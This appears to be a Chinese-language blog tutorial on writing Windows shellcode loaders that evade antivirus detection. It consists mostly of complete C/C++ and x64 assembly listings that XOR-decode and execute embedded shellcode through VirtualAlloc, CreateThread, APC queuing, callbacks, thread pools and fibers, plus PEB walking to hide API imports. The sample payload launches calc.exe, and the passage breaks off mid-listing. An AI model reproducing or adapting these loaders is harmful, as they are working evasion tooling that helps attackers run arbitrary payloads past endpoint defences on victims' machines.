IDR_SHELLCODE1通常用于标识和引用项目中的某个资源,如嵌入到可执行文件中的二进制文件数据,图像或其他类型的资源,在项目的其他部分,可以通过使用IDR_SHELLCODE1符号来引用这个资源,而不是直接进行数字常量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <Windows.h>
#include "resource2.h"
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

void main() {
/*
FindResource用于查找指定模块(EXE或DLL文件)中指定名称和类型的资源,其语法格式如下:
HRSRC FindResource(
HMODULE hModule, //指向包含要查找的资源的模块的句柄,若该参数为NULL,则查找当前
进程中的资源
LPCTSTR lpName, //指向资源名称的指针,可以是一个字符串或者一个整数,若是一个整
数,则它是一个由MAKEINTRESOURCE宏定义的资源标识符
LPCTSTR lpType //指向资源类型的指针,可以是一个字符串或者一个整数。若是一个整数,
则它是一个由MAKEINTRESOURCE宏定义的资源类型标识符
);
如果查找成功,则返回资源句柄;否则返回NULL
*/
HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE1), L"shellcode");
//用于获取资源的大小
DWORD ResSize = SizeofResource(NULL, Res);
//LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中,并返回一个指向该资源数据的句柄
HGLOBAL Load = LoadResource(NULL, Res);
//申请内存
void* buffer = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(buffer, Load, ResSize);
//指针执行shellcode
((void(*)()) buffer)();
}

但是这样的话连基本的静态都过不了。

image-20250411152209585

这里使用用异或试一下

1
.\xor.exe shellcode.bin 99 out.bin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h> // 用于 atoi 函数
#include "resource.h"

#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

void myXor(unsigned char* str, int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}

int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: %s <key>\n", argv[0]);
return 1;
}

// 从命令行获取密钥并转换为整数
int key = atoi(argv[1]);

// 查找资源
HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_OUT1), L"out");
if (Res == NULL) {
printf("Failed to find resource.\n");
return 1;
}

// 获取资源大小
DWORD ResSize = SizeofResource(NULL, Res);
if (ResSize == 0) {
printf("Failed to get resource size.\n");
return 1;
}

// 加载资源
HGLOBAL Load = LoadResource(NULL, Res);
if (Load == NULL) {
printf("Failed to load resource.\n");
return 1;
}

// 锁定资源并获取指针
void* buffer = LockResource(Load);
if (buffer == NULL) {
printf("Failed to lock resource.\n");
return 1;
}

// 申请内存用于复制和处理数据
unsigned char* processedBuffer = (unsigned char*)VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (processedBuffer == NULL) {
printf("Failed to allocate memory.\n");
return 1;
}

// 复制资源数据到新分配的内存
memcpy(processedBuffer, buffer, ResSize);

// 对数据进行异或操作
myXor(processedBuffer, ResSize, key);

// 执行处理后的代码
((void(*)())processedBuffer)();


return 0;
}

虽然静态是过了的。但是动态还是过不了哇,并且感觉真的很鸡肋啊!没必要感觉,这里还是使用了VirtualAlloc和memcpy这两个WindowsAPI啊!包被杀的哇。

创建线程运行

创建线程运行的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <windows.h>
#include <stdio.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗
unsigned char sc[] = {
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00"
};
void main() {
// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 申请失败 , 退出
if (addr == NULL) {
return;
}
// 把shellcode拷贝到这块内存
memcpy(addr, sc, sizeof(sc));
// 创建线程运行
HANDLE hThread = CreateThread(NULL,
NULL,
(LPTHREAD_START_ROUTINE)addr,
NULL,
NULL,
0);
// 等待线程运行
WaitForSingleObject(hThread, -1);
// 关闭线程
CloseHandle(hThread);
}

其实就是把CrateThread这个函数给替换掉了,跟前面的指针运行差不多。

怎么说呢?这样直接生成加载器的话肯定还是不行,要跟前面的一样异或绕一下,并且动态还是过不了,因为你那两个WindowsAPI还是没有变动,so笔者这里就不准备尝试了。

APC注入运行

异步过程调用(APC)队列是一个与线程关联的队列,用于储存要在该线程上下文中异步执行的函数。操作系统内核会跟踪每个线程的APC队列,并在适当的时机触发队列中挂起的函数。APC队列通常用于实现线程间的异步通信、定时器回调以及异步I/O操作。

APC队列包括:

  • 内核模式APC:由内核代码发起,通常用于处理内核级别的异步操作。如异步I/O完成。
  • 用户模式APC:由用户代码发起,允许用户态应用程序将特定函数插入到线程的APC队列中,以便在线程上下文中异步操作。

实现思路:

  • 使用VirtualProtect函数修改shellcode所在内存区域的保护属性,将其设置为可执行、可读、可写( PAGE_EXECUTE_READWRITE ),以便于执行其中的代码。
  • 获取NtTestAlert函数的地址。这是一个内部函数,无法直接通过函数名调用,NtTestAlert函数用于检查当前线程的APC队列。如果队列中由挂起的用户模式APC请求,NtTestAlert将触发他们的执行。
  • 使用QueueUserAPC函数向当前的线程的APC队列添加一个执行shellcode的任务。这将在NtTestAlert被调用时执行shellcode。
  • 调用NtTestAlert函数、触发APC队列中的任务执行、实现shellcode的执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}


unsigned char sc[] =
"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"
"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3"
"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63"
"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
"\x00\x4d\x06\x1b\x06\x63"

;
typedef DWORD(WINAPI* pNtTestAlert)();
int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: %s <key>\n", argv[0]);
return 1;
}

// 从命令行获取密钥并转换为整数
int key = atoi(argv[1]);

// 异或解密
myXor(sc, sizeof(sc), key);


// 修改 shellcode 所在内存区域的保护属性,允许执行
DWORD oldProtect;
VirtualProtect((LPVOID)sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect);
/*
获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用
这个函数用于检查当前线程的 APC(Asynchronous Procedure Call,异步过程调用)队列,如
果队列中有挂起的用户模式 APC 请求,NtTestAlert 将触发它们的执行
*/
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"),
"NtTestAlert"));
// 向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务
QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)sc, GetCurrentThread(),
NULL);
//调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode)
NtTestAlert();
}

动态的还是过不了。

image-20250413140141601

回调函数运行

EnumDateFormatsA

函数原型

1
2
3
4
5
BOOL EnumDateFormatsA(
[in] DATEFMT_ENUMPROCA lpDateFmtEnumProc, // 指向应用程序定义的回调函数的指针
[in] LCID Locale, // 用于指定要为其检索日期格式信息的区域设置的区域设置标识符
[in] DWORD dwFlags // 指定日期格式的标志
);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗


void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}

unsigned char sc[] =
"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"
"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3"
"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63"
"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
"\x00\x4d\x06\x1b\x06\x63";


int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: %s <key>\n", argv[0]);
return 1;
}

// 从命令行获取密钥并转换为整数
int key = atoi(argv[1]);

// 异或解密
myXor(sc, sizeof(sc), key);
// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 申请失败 , 退出
if (addr == NULL) {
return;
}
// 把shellcode拷贝到这块内存
memcpy(addr, sc, sizeof(sc));
// 使用回调函数调用执行
EnumDateFormatsA((DATEFMT_ENUMPROCA)addr, NULL, NULL);
}
// 关于EnumDateFormatsA的函数参数
// 除了回调函数的指针 , 无脑强转一下 , 其他全NULL

动态过不了!

创建线程池运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include<Windows.h>
#include<stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}

unsigned char sc[] =
"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"
"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3"
"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63"
"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
"\x00\x4d\x06\x1b\x06\x63";

int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: %s <key>\n", argv[0]);
return 1;
}

// 从命令行获取密钥并转换为整数
int key = atoi(argv[1]);

// 异或解密
myXor(sc, sizeof(sc), key);
// 定义一个DWORD变量,用于存储原始内存保护属性
DWORD oldProtect;
// 修改shellcode所在内存的保护属性为可读、可写、可执行
VirtualProtect((LPVOID)sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect);
// 创建一个事件对象,初始状态为有信号状态,使用默认安全属性,非手动重置,无名称
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
/*
CreateThreadpoolWait用于创建一个线程池等待对象的函数,
程池等待对象允许您在等待内核对象(如事件、信号量等)变为有信号状态时执行特定的回调函数
其语法格式如下:
PTP_WAIT CreateThreadpoolWait(
PTP_WAIT_CALLBACK pfnwa, //指向回调函数的指针
PVOID pv, //传递给回调函数的参数
PTP_CALLBACK_ENVIRON pcbe //指向线程池回调环境的指针,置NULL则表示使用默认的环境
7.创建纤程运行纤程(Fiber)是一种轻量级的线程,也被称为协程(Coroutine)或微线程(Microthread)。它们是一种用户级别的线程,由程序自身管理,而不是由操作系统内核管理。纤程是一种可以提高程序执行效率的调度机制,特别适用于需要大量并发执行任务的场景
);
*/
// 创建一个线程池等待对象,关联到shellcode作为回调函数,回调函数参数和线程池环境为NULL
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)sc, NULL, NULL);
/*
SetThreadpoolWait函数用于线程池中添加等待对象的函数。
当等待的内核对象(如事件、信号量等)变为有信号状态时,线程池会调用与等待对象关联的回调
函数
其语法格式如下:
VOID SetThreadpoolWait(
PTP_WAIT pwa, //指向要添加到线程池的等待对象的指针
HANDLE hObject, //要等待的内核对象的句柄,当这个内核对象变为有信号状态时,线程池会调用
与等待对象关联的回调函数
PFILETIME pftTimeout //指向一个FILETIME结构的指针,表示等待超时的时间
);
*/
// 将等待对象添加到线程池中,当事件对象event触发(变为有信号状态)时,线程池会调用与threadPoolWait关联的回调函数
SetThreadpoolWait(threadPoolWait, event, NULL);
// 等待事件对象变为无信号状态(表示shellcode执行完毕),无限等待
WaitForSingleObject(event, INFINITE);
}

BUT虽说这几个都是在替换CreateThread函数,但是吧,我觉得没有必要,只是笔者希望还是希望按照课程往下学习

创建纤程运行

纤程(Fiber)是一种轻量级的线程,也被称为协程(Coeroutine)或微线程(Microthread)。它们时一种用户级别的线程,由程序自身管理,而不是由操作系统内核管理。纤程是一种可以提高程序执行效率的调度机制,特别使用于需要大量并发执行任务的场景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include<Windows.h>
#include<stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗
void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}

unsigned char sc[] =
"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"
"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3"
"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63"
"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
"\x00\x4d\x06\x1b\x06\x63";
int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: %s <key>\n", argv[0]);
return 1;
}

// 从命令行获取密钥并转换为整数
int key = atoi(argv[1]);

// 异或解密
myXor(sc, sizeof(sc), key);
// 修改shellcode所在内存的保护属性为可读、可写、可执行
DWORD oldProtect;
VirtualProtect((LPVOID)sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect);
// 将当前线程转换为纤程(轻量级线程)
ConvertThreadToFiber(NULL);
// 创建一个纤程对象,关联到shellcode作为纤程入口点,使用默认栈大小和无标志位
void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)sc, NULL);
// 切换到新创建的纤程,开始执行shellcode
SwitchToFiber(shellcodeFiber);
// shellcode执行完毕后,删除纤程对象
DeleteFiber(shellcodeFiber);
}

动态api函数加载

传统的静态导入API函数会在执行文件导入表明确列出所有用到的函数。这使得恶意代码容易被安全工具和分析人员发现,因为敏感的API函数的使用通常表明了恶意行为。

比如使用创建线程运行shellcode的导入表中就存在CreateThread函数。这里用ida和010都比较好找。

image-20250413195937675

而动态调用API函数,可以在运行时动态解析并获取API函数的地址。这样,敏感函数不会出现在导入表中,从而使得恶意代码更难被发现。此外,动态调用API函数还可以结合其他技术(如代码混淆、加密 等)来进一步提高恶意代码的隐蔽性。

实现思路

  • 定位关键模块:首先找到包含核心API函数的关键模块(如kernel32.dll)。这通常可以通过解析PEB(Process Environment Block)中的模块列表来完成。

简单解释(PEB):一个记录当前进程”身份证信息”和”运行状态”的表格

image-20250414125029254

  • 获取GetProcAddress:定位到kernel32.dll后,需要解析导出表(Export Table)以获取GetProcAddress函数的地址。GetProcAddress是一个核心函数,用于在运行时动态解析其他API函数的地址。

简单解释:从某个已经加载的模块(DLL)中,获取一个函数的地址。再简单点就是寻址的。

1
2
3
4
5
6
7
>FARPROC GetProcAddress(
HMODULE hModule, // DLL模块的句柄
LPCSTR lpProcName // 函数名字(或序号)
>);
>//实例:
>//HMODULE hMod = LoadLibraryA("kernel32.dll"); // 加载模块
>//FARPROC pFunc = GetProcAddress(hMod, "CreateFileA"); // 获取函数地址
  • 加载其他API:通过GetProcAddress函数,可以逐个获取其他需要的API函数的地址。例如,可以通过GetProcAddress获取VirtualProtect、CreateThread和WaitForSingleObiect等函数的地址。
  • 准备shellcode:将shellcode存储到缓冲区中,使用VirtualProtect函数将缓冲区的内存页属性更改为可执行,以确保可以安全执行shellcode。
  • 创建线程并执行shellcode:使用CreateThread函数创建一个新线程,并将shellcode的地址作为线程的启动历程。线程创建后,使用WaitForSingleObject等待线程执行完成。

这是使用x64编写。

准备条件

  • 添加新建项

    此处我创建了一个 GetInitializationOrderModuleList.asm , 用于获取 InitializationOrderModuleList。

image-20250415164107236

1
2
3
4
5
6
7
8
>.CODE
GetInInitializationOrderModuleList PROC
mov rax,gs:[60h] ; PEB,注意,这里不能写0x60
mov rax,[rax+18h] ; PEB_LDR_DATA
mov rax,[rax+30h] ; InInitializationOrderModuleList
ret ; 这里不能写retn
GetInInitializationOrderModuleList ENDP
>END
  • 随后编辑属性,更改属性

image-20250415164450606

  • 在自定义生成工具选项处编辑
1
2
>ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm
>$(IntDir)%(FileName).obj

image-20250415164559422

  • 打开项目属性,勾选 C/C++->代码生成->禁用安全检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include<Windows.h>
#include<stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

// UNICODE_STRING 结构体定义
typedef struct _UNICODE_STRING {
USHORT Length; //表示字符串中的字符数,由于它是unicode形式的字符,因此每个字符占两个字节
USHORT MaximumLength; //分配的内存空间的大小,以字节为单位
PWSTR Buffer; //表示指向存储Unicode字符串的字符数组的指针
} UNICODE_STRING, * PUNICODE_STRING;
// 声明获取 InInitializationOrderModuleList 链表的函数
extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList();
// 获取 Kernel32.dll 的基地址
HMODULE getKernel32Address() {
// 获取 InInitializationOrderModuleList 链表
LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList();
while (1) {
// 获取 FullDllName 成员
UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);
// 如果 Buffer 中的第 13 个字符为空字符,则已找到 Kernel32.dll
if (*(FullDllName->Buffer + 12) == '\0') {
// 返回模块的基地址
return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));
}
pNode = pNode->Flink;

}
}
// 获取 GetProcAddress 函数的地址
DWORD64 getGetProcAddress(HMODULE hKernal32) {
// 获取 DOS 头
PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32;
// 获取 NT 头
PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr +
baseAddr->e_lfanew);
// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)
((LONG64)baseAddr + pImageNt -> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 获取导出函数地址数组、导出函数名数组和导出函数序号数组
PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir -> AddressOfFunctions);
PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames);
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir -> AddressOfNameOrdinals);
// 遍历导出函数
for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
// 获取当前函数地址
LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr +
RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]);
// 获取当前函数名地址
PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]);
// 如果当前函数名是 "GetProcAddress",返回其地址
if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
return F_va_Tmp;
}
}
}
// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);


void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}

unsigned char sc[] =
"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
